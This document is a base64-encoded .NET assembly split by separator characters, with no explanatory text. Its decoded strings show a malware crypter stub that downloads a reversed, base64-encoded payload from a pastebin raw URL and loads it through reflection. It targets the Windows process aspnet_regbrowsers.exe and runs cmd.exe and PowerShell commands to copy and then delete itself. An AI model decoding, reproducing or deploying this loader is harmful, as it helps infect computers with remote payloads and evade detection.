ZQBDcmVhdGVJbnN0YW5jZQBnZXRfR2V0SW5zdGFuY2U↓:↓ZGVmYXVsdEluc3RhbmNl↓:↓Gluc3RhbmNl↓:↓EdldEhhc2hDb2Rl↓:↓Eludm9rZQBSdW50aW1lVHlwZUhhbmRsZQBHZXRUeXBlRnJvbUhhbmRsZQBBcHBXaW5TdHlsZQBTZWN1cml0eVByb3RvY29sVHlwZQBHZXRUeXBl↓:↓GdldF9DdWx0dXJl↓:↓HNldF9DdWx0dXJl↓:↓HJlc291cmNlQ3VsdHVyZQBNZXRob2RCYXNl↓:↓EFwcGxpY2F0aW9uQmFzZQBBcHBsaWNhdGlvblNldHRpbmdzQmFzZQBEaXNwb3Nl↓:↓FN0clJldmVyc2U↓:↓RWRpdG9yQnJvd3NhYmxlU3RhdGU↓:↓Q29tcGlsZXJHZW5lcmF0ZWRBdHRyaWJ1dGU↓:↓R3VpZEF0dHJpYnV0ZQBIZWxwS2V5d29yZEF0dHJpYnV0ZQBHZW5lcmF0ZWRDb2RlQXR0cmlidXRl↓:↓ERlYnVnZ2VyTm9uVXNlckNvZGVBdHRyaWJ1dGU↓:↓RGVidWdnYWJsZUF0dHJpYnV0ZQBFZGl0b3JCcm93c2FibGVBdHRyaWJ1dGU↓:↓Q29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRl↓:↓FN0YW5kYXJkTW9kdWxlQXR0cmlidXRl↓:↓EhpZGVNb2R1bGVOYW1lQXR0cmlidXRl↓:↓EFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRl↓:↓ERlYnVnZ2VySGlkZGVuQXR0cmlidXRl↓:↓EFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGU↓:↓TXlHcm91cENvbGxlY3Rpb25BdHRyaWJ1dGU↓:↓QXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRl↓:↓EFzc2VtYmx5UHJvZHVjdEF0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGU↓:↓UnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGU↓:↓Z2V0X1ZhbHVl↓:↓HNldF9WYWx1ZQBHZXRPYmplY3RWYWx1ZQB2YWx1ZQBzZXRfRW5jb2Rpbmc↓:↓RnJvbUJhc2U2NFN0cmluZwBEb3dubG9hZFN0cmluZwBUb1N0cmluZwBHZXRGb2xkZXJQYXRo↓:↓E1pY3Jvc29mdC5WaXN1YWxCYXNpYy5NeVNlcnZpY2VzLkludGVybmFs↓:↓FN5c3RlbS5Db21wb25lbnRNb2Rlb↓:↓BDbGFzc0xpYnJhcnkzLmRsb↓:↓BTaGVsb↓:↓BzZXRfU2VjdXJpdHlQcm90b2Nvb↓:↓BTeXN0ZW0↓:↓cmVzb3VyY2VNYW4↓:↓VG9Cb29sZWFu↓:↓FN5c3RlbS5Db21wb25lbnRNb2RlbC5EZXNpZ24↓:↓QXBwRG9tYWlu↓:↓GdldF9DdXJyZW50RG9tYWlu↓:↓GdldF9BcHBsaWNhdGlvbgBNeUFwcGxpY2F0aW9u↓:↓FN5c3RlbS5Db25maWd1cmF0aW9u↓:↓FN5c3RlbS5HbG9iYWxpemF0aW9u↓:↓EludGVyYWN0aW9u↓:↓FN5c3RlbS5SZWZsZWN0aW9u↓:↓EV4Y2VwdGlvbgBNZXRob2RJbmZv↓:↓EN1bHR1cmVJbmZv↓:↓G1fQXBwT2JqZWN0UHJvdmlkZXI↓:↓bV9Vc2VyT2JqZWN0UHJvdmlkZXI↓:↓bV9Db21wdXRlck9iamVjdFByb3ZpZGVy↓:↓G1fTXlXZWJTZXJ2aWNlc09iamVjdFByb3ZpZGVy↓:↓FNwZWNpYWxGb2xkZXI↓:↓Z2V0X1Jlc291cmNlTWFuYWdlcgBTZXJ2aWNlUG9pbnRNYW5hZ2Vy↓:↓FN5c3RlbS5Db2RlRG9tLkNvbXBpbGVy↓:↓GdldF9Vc2Vy↓:↓GdldF9Db21wdXRlcgBNeUNvbXB1dGVy↓:↓FRvTG93ZXI↓:↓Q2xlYXJQcm9qZWN0RXJyb3I↓:↓U2V0UHJvamVjdEVycm9y↓:↓EFjdGl2YXRvcg↓:↓uY3Rvcg↓:↓uY2N0b3I↓:↓U3lzdGVtLkRpYWdub3N0aWNz↓:↓E1pY3Jvc29mdC5WaXN1YWxCYXNpYy5EZXZpY2Vz↓:↓GdldF9XZWJTZXJ2aWNlcwBNeVdlYlNlcnZpY2Vz↓:↓E1pY3Jvc29mdC5WaXN1YWxCYXNpYy5BcHBsaWNhdGlvblNlcnZpY2Vz↓:↓FN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuQ29tcGlsZXJTZXJ2aWNlcwBTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2Vz↓:↓FN5c3RlbS5SZXNvdXJjZXM↓:↓Q2xhc3NMaWJyYXJ5My5NeS5SZXNvdXJjZXM↓:↓Q2xhc3NMaWJyYXJ5My5SZXNvdXJjZXMucmVzb3VyY2Vz↓:↓ERlYnVnZ2luZ01vZGVz↓:↓FN0cmluZ3M↓:↓Z2V0X1NldHRpbmdz↓:↓E15U2V0dGluZ3M↓:↓UmVmZXJlbmNlRXF1YWxz↓:↓ENvbnRhaW5z↓:↓ENvbnZlcnNpb25z↓:↓FJ1bnRpbWVIZWxwZXJz↓:↓EV4aXN0cwBDb25jYXQ↓:↓T2JqZWN0↓:↓E15UHJvamVjd↓:↓BTeXN0ZW0uTmV0↓:↓GdldF9EZWZhdWx0↓:↓FdlYkNsaWVud↓:↓BFbnZpcm9ubWVud↓:↓BDb21wb25lbnQ↓:↓Q29udmVyd↓:↓BTeXN0ZW0uVGV4d↓:↓BtX0NvbnRleHQ↓:↓bmtHTXY↓:↓QXZiRXc↓:↓Q2xhc3NMaWJyYXJ5My5NeQBnZXRfQXNzZW1ibHk↓:↓RGlyZWN0b3J5↓:↓EVtcHR5↓:↓E15U2V0dGluZ3NQcm9wZXJ0eQ↓:↓↓:↓L0M↓:↓b↓:↓Bh↓:↓HM↓:↓cwBM↓:↓Gk↓:↓YgBy↓:↓GE↓:↓cgB5↓:↓DM↓:↓LgBS↓:↓GU↓:↓cwBv↓:↓HU↓:↓cgBj↓:↓GU↓:↓cw↓:↓↓:↓gIVj↓:↓G0↓:↓Z↓:↓↓:↓u↓:↓GU↓:↓e↓:↓Bl↓:↓C↓:↓↓:↓LwBj↓:↓C↓:↓↓:↓c↓:↓Bp↓:↓G4↓:↓Zw↓:↓g↓:↓DE↓:↓Mg↓:↓3↓:↓C4↓:↓M↓:↓↓:↓u↓:↓D↓:↓↓:↓Lg↓:↓x↓:↓C↓:↓↓:↓LQBu↓:↓C↓:↓↓:↓MQ↓:↓w↓:↓C↓:↓↓:↓Jg↓:↓g↓:↓H↓:↓↓:↓bwB3↓:↓GU↓:↓cgBz↓:↓Gg↓:↓ZQBs↓:↓Gw↓:↓I↓:↓↓:↓t↓:↓GM↓:↓bwBt↓:↓G0↓:↓YQBu↓:↓GQ↓:↓I↓:↓↓:↓i↓:↓EM↓:↓bwBw↓:↓Hk↓:↓LQBJ↓:↓HQ↓:↓ZQBt↓:↓C↓:↓↓:↓Jw↓:↓BISc↓:↓I↓:↓↓:↓t↓:↓EQ↓:↓ZQBz↓:↓HQ↓:↓aQBu↓:↓GE↓:↓d↓:↓Bp↓:↓G8↓:↓bg↓:↓g↓:↓Cc↓:↓↓:↓QUn↓:↓CI↓:↓↓:↓U9j↓:↓G0↓:↓Z↓:↓↓:↓u↓:↓GU↓:↓e↓:↓Bl↓:↓C↓:↓↓:↓LwBj↓:↓C↓:↓↓:↓c↓:↓Bp↓:↓G4↓:↓Zw↓:↓g↓:↓DE↓:↓Mg↓:↓3↓:↓C4↓:↓M↓:↓↓:↓u↓:↓D↓:↓↓:↓Lg↓:↓x↓:↓C↓:↓↓:↓LQBu↓:↓C↓:↓↓:↓MQ↓:↓1↓:↓C↓:↓↓:↓Jg↓:↓g↓:↓GQ↓:↓ZQBs↓:↓C↓:↓↓:↓Ig↓:↓B↓:↓yI↓:↓↓:↓EVD↓:↓Do↓:↓X↓:↓BX↓:↓Gk↓:↓bgBk↓:↓G8↓:↓dwBz↓:↓Fw↓:↓TQBp↓:↓GM↓:↓cgBv↓:↓HM↓:↓bwBm↓:↓HQ↓:↓LgBO↓:↓EU↓:↓V↓:↓Bc↓:↓EY↓:↓cgBh↓:↓G0↓:↓ZQB3↓:↓G8↓:↓cgBr↓:↓↓:↓BDU↓:↓BB↓:↓GI↓:↓NQBm↓:↓HQ↓:↓Nw↓:↓y↓:↓C8↓:↓dwBh↓:↓HI↓:↓LwBt↓:↓G8↓:↓Yw↓:↓u↓:↓G4↓:↓aQBi↓:↓GU↓:↓d↓:↓Bz↓:↓GE↓:↓c↓:↓↓:↓v↓:↓C8↓:↓OgBz↓:↓H↓:↓↓:↓d↓:↓B0↓:↓Gg↓:↓↓:↓↓:↓eTITo↓:↓kyEB↓:↓0E↓:↓↓:↓Bdc↓:↓HY↓:↓N↓:↓↓:↓u↓:↓D↓:↓↓:↓Lg↓:↓z↓:↓D↓:↓↓:↓Mw↓:↓x↓:↓Dk↓:↓↓:↓Bdc↓:↓HY↓:↓Mg↓:↓u↓:↓D↓:↓↓:↓Lg↓:↓1↓:↓D↓:↓↓:↓Nw↓:↓y↓:↓Dc↓:↓↓:↓ClD↓:↓Gw↓:↓YQBz↓:↓HM↓:↓T↓:↓Bp↓:↓GI↓:↓cgBh↓:↓HI↓:↓eQ↓:↓x↓:↓C4↓:↓QwBs↓:↓GE↓:↓cwBz↓:↓DE↓:↓↓:↓↓:↓dS↓:↓HU↓:↓bg↓:↓↓:↓L1w↓:↓YQBz↓:↓H↓:↓↓:↓bgBl↓:↓HQ↓:↓XwBy↓:↓GU↓:↓ZwBi↓:↓HI↓:↓bwB3↓:↓HM↓:↓ZQBy↓:↓HM↓:↓LgBl↓:↓Hg↓:↓ZQ↓:↓↓:↓BlXlq+sNpEeSKp0o29Ib0↓:↓↓:↓EI↓:↓EBC↓:↓Mg↓:↓↓:↓EFI↓:↓EBEREEI↓:↓EBDgQg↓:↓QECBS↓:↓C↓:↓Q4OBS↓:↓B↓:↓RE9By↓:↓E↓:↓Q4ODg4GFRIo↓:↓RIMBhUSK↓:↓ESC↓:↓YVEigBEl0GFRIo↓:↓RIkBC↓:↓↓:↓Ew↓:↓F↓:↓↓:↓ICHBwH↓:↓↓:↓ESZRG↓:↓iQUg↓:↓BK↓:↓jQcg↓:↓gEOEoCNC↓:↓↓:↓BEoCREoCRDQcHDgISgIUODg4SgIUE↓:↓↓:↓ECDgY↓:↓↓:↓Q4RgJ0DI↓:↓↓:↓OBC↓:↓B↓:↓g4F↓:↓↓:↓EOHQ4J↓:↓↓:↓QIDhG↓:↓qQIIBg↓:↓DDg4ODgY↓:↓↓:↓QESgIUD↓:↓↓:↓↓:↓B↓:↓gYOBg↓:↓B↓:↓RG↓:↓tQU↓:↓↓:↓BK↓:↓vQYg↓:↓QESgL0EI↓:↓EODgUg↓:↓g4ODgU↓:↓↓:↓g4ODgU↓:↓↓:↓BK↓:↓yQU↓:↓↓:↓R0FDgcg↓:↓RK↓:↓jR0FBS↓:↓BEmUOBi↓:↓BEoDRDgYg↓:↓hwcHRwE↓:↓↓:↓EODgQ↓:↓↓:↓RwcBC↓:↓B↓:↓hwDI↓:↓↓:↓IB↓:↓cBHg↓:↓CHg↓:↓FE↓:↓E↓:↓Hg↓:↓ECgEe↓:↓↓:↓QH↓:↓RM↓:↓BhUSK↓:↓ET↓:↓↓:↓cGFRJp↓:↓RM↓:↓BhUSaQET↓:↓↓:↓IT↓:↓↓:↓QK↓:↓RM↓:↓BS↓:↓B↓:↓RM↓:↓CLd6XFYZNOCJCL↓:↓/X38R1Qo6BwYVEigBEgwHBhUSK↓:↓ESC↓:↓cGFRIo↓:↓RJdBwYVEigBEiQDBhJ5↓:↓wYSfQMGEhgE↓:↓↓:↓↓:↓SD↓:↓Q↓:↓↓:↓BIIB↓:↓↓:↓↓:↓El0E↓:↓↓:↓↓:↓SJ↓:↓Q↓:↓↓:↓BJ5B↓:↓↓:↓↓:↓En0F↓:↓↓:↓EBEn0E↓:↓↓:↓↓:↓SG↓:↓Y↓:↓↓:↓wEODg4EI↓:↓↓:↓SZQcQ↓:↓QEe↓:↓B4↓:↓Bz↓:↓B↓:↓QEQHg↓:↓EC↓:↓↓:↓SD↓:↓QI↓:↓BIIB↓:↓g↓:↓El0EC↓:↓↓:↓SJ↓:↓QI↓:↓BJ5B↓:↓g↓:↓En0EC↓:↓↓:↓SG↓:↓Qo↓:↓BM↓:↓C↓:↓E↓:↓C↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓HgE↓:↓↓:↓QBU↓:↓hZXcmFwTm9uRXhjZXB0aW9uVGhyb3dz↓:↓QgB↓:↓↓:↓I↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓UB↓:↓↓:↓↓:↓↓:↓↓:↓BcB↓:↓BJDb3B5cmlnaHQgwqkgIDIwMjI↓:↓↓:↓CkB↓:↓CQxQjQxRDRENC1EQkQ0LTQ1NEEtQjZBNC0xOEQ4MUM0MTkzRT↓:↓↓:↓↓:↓↓:↓wB↓:↓↓:↓cxLj↓:↓uMC4w↓:↓↓:↓↓:↓E↓:↓Q↓:↓↓:↓↓:↓↓:↓gB↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓BgB↓:↓↓:↓pNeVRlbXBsYXRlCDExLj↓:↓uMC4w↓:↓↓:↓B↓:↓↓:↓Q↓:↓zU3lzdGVtLlJlc291cmNlcy5Ub29scy5TdHJvbmdseVR5cGVkUmVzb3VyY2VCdWlsZGVyBzQuMC4wLj↓:↓↓:↓↓:↓FkB↓:↓EtNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLkVkaXRvcnMuU2V0dGluZ3NEZXNpZ25lci5TZXR0aW5nc1NpbmdsZUZpbGVHZW5lcmF0b3IIMTEuMC4wLj↓:↓↓:↓↓:↓GEB↓:↓DRTeXN0ZW0uV2ViLlNlcnZpY2VzLlByb3RvY29scy5Tb2FwSHR0cENsaWVudFByb3RvY29sEkNyZWF0ZV9fSW5zdGFuY2VfXxNEaXNwb3NlX19JbnN0YW5jZV9f↓:↓↓:↓↓:↓↓:↓E↓:↓E↓:↓C015LkNvbXB1dGVy↓:↓↓:↓↓:↓T↓:↓Q↓:↓OTXkuQXBwbGljYXRpb24↓:↓↓:↓↓:↓wB↓:↓↓:↓dNeS5Vc2Vy↓:↓↓:↓↓:↓T↓:↓Q↓:↓OTXkuV2ViU2VydmljZXM↓:↓↓:↓B↓:↓B↓:↓↓:↓tNeS5TZXR0aW5ncw↓:↓↓:↓t↓:↓↓:↓↓:↓↓:↓M7K774B↓:↓↓:↓↓:↓↓:↓kQ↓:↓↓:↓↓:↓GxTeXN0ZW0uUmVzb3VyY2VzLlJlc291cmNlUmVhZGVyLCBtc2NvcmxpYiwgVmVyc2lvbj0yLj↓:↓uMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkjU3lzdGVtLlJlc291cmNlcy5SdW50aW1lUmVzb3VyY2VTZXQC↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓BQQURQQURQt↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓5Dby/↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓I↓:↓↓:↓↓:↓CI↓:↓↓:↓↓:↓↓:↓/Dw↓:↓↓:↓Pwe↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓Q↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓UlNEUw/↓:↓xB/Y+Q5NozPSXIg6EgIB↓:↓↓:↓↓:↓↓:↓RTpcU291cmNlIENvZGVyIFZiLm5ldCBDI1xjcmMgY3J5cHRlclxVcENyeVxNZXRvZG8gREZcQ2xhc3NMaWJyYXJ5M1xDbGFzc0xpYnJhcnkzXG9ialxSZWxlYXNlXENsYXNzTGlicmFyeTMucGRi↓:↓Kw9↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓MY9↓:↓↓:↓↓:↓↓:↓I↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓C4PQ↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓F9Db3JEbGxNYWlu↓:↓G1zY29yZWUuZGxs↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓D/JQ↓:↓g↓:↓B↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓E↓:↓E↓:↓↓:↓↓:↓↓:↓Bg↓:↓↓:↓I↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓Q↓:↓↓:↓↓:↓D↓:↓↓:↓↓:↓I↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓Eg↓:↓↓:↓↓:↓BYQ↓:↓↓:↓↓:↓D↓:↓M↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓D↓:↓M0↓:↓↓:↓↓:↓↓:↓VgBT↓:↓F8↓:↓VgBF↓:↓FI↓:↓UwBJ↓:↓E8↓:↓TgBf↓:↓Ek↓:↓TgBG↓:↓E8↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓L0E7/4↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓B↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓D8↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓B↓:↓↓:↓↓:↓↓:↓↓:↓I↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓BE↓:↓↓:↓↓:↓↓:↓↓:↓QBW↓:↓GE↓:↓cgBG↓:↓Gk↓:↓b↓:↓Bl↓:↓Ek↓:↓bgBm↓:↓G8↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓CQ↓:↓B↓:↓↓:↓↓:↓↓:↓FQ↓:↓cgBh↓:↓G4↓:↓cwBs↓:↓GE↓:↓d↓:↓Bp↓:↓G8↓:↓bg↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓CwBGwC↓:↓↓:↓↓:↓B↓:↓FM↓:↓d↓:↓By↓:↓Gk↓:↓bgBn↓:↓EY↓:↓aQBs↓:↓GU↓:↓SQBu↓:↓GY↓:↓bw↓:↓↓:↓↓:↓EgC↓:↓↓:↓↓:↓B↓:↓D↓:↓↓:↓M↓:↓↓:↓w↓:↓D↓:↓↓:↓M↓:↓↓:↓0↓:↓GI↓:↓M↓:↓↓:↓↓:↓↓:↓Bo↓:↓↓:↓Q↓:↓B↓:↓EM↓:↓bwBt↓:↓G0↓:↓ZQBu↓:↓HQ↓:↓cw↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓i↓:↓↓:↓E↓:↓↓:↓QBD↓:↓G8↓:↓bQBw↓:↓GE↓:↓bgB5↓:↓E4↓:↓YQBt↓:↓GU↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓q↓:↓↓:↓E↓:↓↓:↓QBG↓:↓Gk↓:↓b↓:↓Bl↓:↓EQ↓:↓ZQBz↓:↓GM↓:↓cgBp↓:↓H↓:↓↓:↓d↓:↓Bp↓:↓G8↓:↓bg↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓D↓:↓↓:↓C↓:↓↓:↓B↓:↓EY↓:↓aQBs↓:↓GU↓:↓VgBl↓:↓HI↓:↓cwBp↓:↓G8↓:↓bg↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓MQ↓:↓u↓:↓D↓:↓↓:↓Lg↓:↓w↓:↓C4↓:↓M↓:↓↓:↓↓:↓↓:↓EQ↓:↓Eg↓:↓B↓:↓Ek↓:↓bgB0↓:↓GU↓:↓cgBu↓:↓GE↓:↓b↓:↓BO↓:↓GE↓:↓bQBl↓:↓↓:↓↓:↓↓:↓QwBs↓:↓GE↓:↓cwBz↓:↓Ew↓:↓aQBi↓:↓HI↓:↓YQBy↓:↓Hk↓:↓Mw↓:↓u↓:↓GQ↓:↓b↓:↓Bs↓:↓↓:↓↓:↓↓:↓S↓:↓↓:↓S↓:↓↓:↓E↓:↓T↓:↓Bl↓:↓Gc↓:↓YQBs↓:↓EM↓:↓bwBw↓:↓Hk↓:↓cgBp↓:↓Gc↓:↓a↓:↓B0↓:↓↓:↓↓:↓↓:↓QwBv↓:↓H↓:↓↓:↓eQBy↓:↓Gk↓:↓ZwBo↓:↓HQ↓:↓I↓:↓Cp↓:↓C↓:↓↓:↓I↓:↓↓:↓y↓:↓D↓:↓↓:↓Mg↓:↓y↓:↓↓:↓↓:↓↓:↓Kg↓:↓B↓:↓↓:↓E↓:↓T↓:↓Bl↓:↓Gc↓:↓YQBs↓:↓FQ↓:↓cgBh↓:↓GQ↓:↓ZQBt↓:↓GE↓:↓cgBr↓:↓HM↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓BM↓:↓BI↓:↓↓:↓QBP↓:↓HI↓:↓aQBn↓:↓Gk↓:↓bgBh↓:↓Gw↓:↓RgBp↓:↓Gw↓:↓ZQBu↓:↓GE↓:↓bQBl↓:↓↓:↓↓:↓↓:↓QwBs↓:↓GE↓:↓cwBz↓:↓Ew↓:↓aQBi↓:↓HI↓:↓YQBy↓:↓Hk↓:↓Mw↓:↓u↓:↓GQ↓:↓b↓:↓Bs↓:↓↓:↓↓:↓↓:↓Ig↓:↓B↓:↓↓:↓E↓:↓U↓:↓By↓:↓G8↓:↓Z↓:↓B1↓:↓GM↓:↓d↓:↓BO↓:↓GE↓:↓bQBl↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓N↓:↓↓:↓I↓:↓↓:↓E↓:↓U↓:↓By↓:↓G8↓:↓Z↓:↓B1↓:↓GM↓:↓d↓:↓BW↓:↓GU↓:↓cgBz↓:↓Gk↓:↓bwBu↓:↓↓:↓↓:↓↓:↓MQ↓:↓u↓:↓D↓:↓↓:↓Lg↓:↓w↓:↓C4↓:↓M↓:↓↓:↓↓:↓↓:↓Dg↓:↓C↓:↓↓:↓B↓:↓EE↓:↓cwBz↓:↓GU↓:↓bQBi↓:↓Gw↓:↓eQ↓:↓g↓:↓FY↓:↓ZQBy↓:↓HM↓:↓aQBv↓:↓G4↓:↓↓:↓↓:↓↓:↓x↓:↓C4↓:↓M↓:↓↓:↓u↓:↓D↓:↓↓:↓Lg↓:↓w↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓D↓:↓↓:↓↓:↓↓:↓w↓:↓↓:↓↓:↓DYPQ↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓